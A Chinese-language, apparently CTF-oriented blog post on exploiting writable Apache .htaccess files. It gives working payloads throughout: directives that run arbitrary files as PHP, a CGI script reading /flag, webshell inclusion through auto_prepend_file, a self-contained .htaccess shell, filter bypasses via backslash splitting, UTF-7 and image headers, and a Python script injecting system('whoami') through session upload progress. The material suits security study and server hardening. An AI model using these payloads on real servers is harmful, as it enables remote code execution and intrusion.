前言
.htaccess文件是apache服务器的一种目录级别的修改配置的方式,可以用来配置当前目录及其所有子目录,常常被用于访问URL时重写路径;在此总结一下相关利用及bypass的方式
测试环境:Ubuntu18.04+Apache2+php7.2
/etc/apache2
下有两个文件夹mods-enable
和mods-available
,其中mods-enable
里装的是apache已经被启用的模块,mods-available
里装的是当前系统可用的模块
切换到mods-enabled
,查看php7.2.conf
:
通过FilesMath匹配文件后缀,其默认配置是当匹配到phar
、php
、phtml
时,都将其作为php来执行,其中SetHandler就是设置解析方式
例如在1.phar
中写入<?=phpinfo();
:
利用方式
1.SetHandler
(1)编辑.htaccess,内容为:
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做php解析
除此之外,可以将当前目录下文件都当做文本解析,这样便可获得文件源码:
(2)2020 de1ctf的checkin这道题目的官方wp中提到了这种和第(3)种方式
编辑.htaccess,内容为:
SetHandler server-status
这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录(白嫖)
可添加参数?refresh=5
来实现每隔5s自动刷新
(3)这种方法条件为apache加载了cgi_module
,这里截的de1ctf checkin这道题目的phpinfo:
编辑.htaccess,内容为:
Options +ExecCGI
AddHandler cgi-script .xx
编辑1.xx(注意格式比较严格)
#! /bin/bash
echo Content-type: text/html
echo ""
cat /flag
可以成功执行最后的命令cat /flag
当然,开启了fastcgi也是可以利用的,这里不列举了,可参考文章:
https://www.freebuf.com/vuls/218495.html
2.AddType
AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析
编辑.htaccess,内容为:
AddType application/x-httpd-php .a
便会将以.a
为后缀的文件解析为php
3.php_value
这种方式可通过php_value
来配置PHP的配置选项;另外php_flag name on|off
用来设定布尔值的配置指令
查看配置可被设定的范围:
从上图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIR
和PHP_INI_ALL
可查看php.ini配置选项列表,从中寻找可利用的配置项
(1)使用文件包含的两个相关配置
-
auto_prepend_file
:指定一个文件,在主文件解析之前自动解析 -
auto_append_file
:指定一个文件,在主文件解析后自动解析
编辑.htaccess,内容为:
php_value auto_prepend_file webshell
编辑webshell
,内容为:
<?=phpinfo();
此时随便找一个php文件访问:
把.htaccess内容改为下面的也是可以的:
php_value auto_append_file webshell
由于通过设置这两个选项进行文件包含,那么便可使用相关的php协议流,如php://filter
,可用来绕过对一些关键字的检测,下面Bypass部分会提到
(2)绕过preg_math的配置
查看官方文档中的相关配置:
编辑.htaccess:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
测试:
4.其他
(1)禁用拒绝规则,使.htaccess可访问
默认情况下,.htaccess是不可访问的:
那么编辑.htaccess文件,添加如下配置:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
测试:
(2)直接使用.htaccess shell
例如下面这个.htaccess文件,首先设置了禁用拒绝规则,这样便可直接访问到.htaccess;接着用SetHandler
将所有文件作为php解析,最后写入php代码,开头用#
注释掉,这样便可成功解析.htaccess,然后解析php:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
相关的关于.htaccess的shell,可参考github上一个项目:
https://github.com/wireghoul/htshells
Bypass方式
1.关键字检测
方法1
如果过滤了.htaccess常用的关键字,此时可以使用反斜线来绕过对关键字的过滤,反斜线后需要加上换行符,并且反斜线前和关键字无空格
例如:
AddT
ype application/x-httpd-php .abc
方法2
如果检测不能含有<?
等php字符串,那么此时可先将shell字符串进行编码,然后在文件包含时通过php://filter
解码:
方法3
通过UTF-7、UTF-16等进行编码
编辑.htaccess:
AddType application/x-httpd-php .aaa
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
之后将后缀.aaa
文件的内容进行相应编码即可
2.拼接无用字符串
方法1
可以使用#
来注释掉后面拼接的多余内容,#
需要和前面的内容隔一个空格,并且#
只能注释一行内容,可以使用反斜线来转义换行符,从而注释多行内容
例如下面这个.htaccess文件是可以生效的:
AddT
ype application/x-httpd-php .abc #
asdf
asdf
方法2
除了#
外,0x00
也可以当注释符,使用write.php
脚本写入.htaccess:
<?php
$data = urldecode('AddType application/x-httpd-php .abc%0a%00asdf');
file_put_contents('.htaccess', $data);
测试:
3.文件格式检测
如果使用exif_imagetype
检测上传的文件的第一个字节来判断文件类型,那么只要是图像格式以#
或0x00
开头便可绕过
方法1
使用XBM图像,使用PHP生成图像(需安装GD库):
<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);
// 保存图像
imagexbm($im, '1.png');
// 释放内存
imagedestroy($im);
?>
(下面的1_png_width
以及1_png_height
是根据文件名进行拼接生成的)
那么可以在.htaccess前面加上:
#define 1_png_width 120
#define 1_png_height 20
便可绕过对文件格式的检测
方法2
使用WBMP图像,使用PHP生成图像:
<?php
$img = imagecreatetruecolor(20, 20);
imagewbmp($img, '1.wbmp');
?>
使用16进制编辑器查看:
可以看到这种图像格式是以0x00
开头的,那么便可以此方式绕过对文件格式的检测
4.其他字符限制
若过滤了<
、数字、:
等,此时便不能使用php://filter
或者UTF编码的方式绕过了;可尝试利用.htaccess设置包含指定的文件。例如对于session文件,可通过包含上传文件产生的临时session进行RCE
查看配置文件,发现大部分session相关的配置都是可以通过.htaccess修改的:
那么我们可以在不知道session存储路径的情况下,通过session.save_path
指定存储路径,并且可以将session.upload_progress.cleanup
设置为off,这样便可无需条件竞争来将代码写到session文件中,从而包含rce;编辑.htaccess:
php_value auto_append_file "/tmp/sess_gtfly"
php_value session.save_path "/tmp"
php_flag session.upload_progress.cleanup off
然后运行
import requests
url='http://127.0.0.1/test.php'
headers={
"Cookie":'PHPSESSID=gtfly'
}
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
}
r = requests.session()
r.post(url,files=files,headers=headers,data=data)
t = r.get('http://127.0.0.1/test.php',headers=headers)
print(t.text)
成功执行:
小结
除以上思路外应该还有很多的利用思路,本菜鸡只能想到这了qaq
从以上利用姿势可以看出,如果网站根目录中的.htaccess内容可控并且能够被解析,那么便很可能产生威胁,因此网站建设时需要多多留意这点~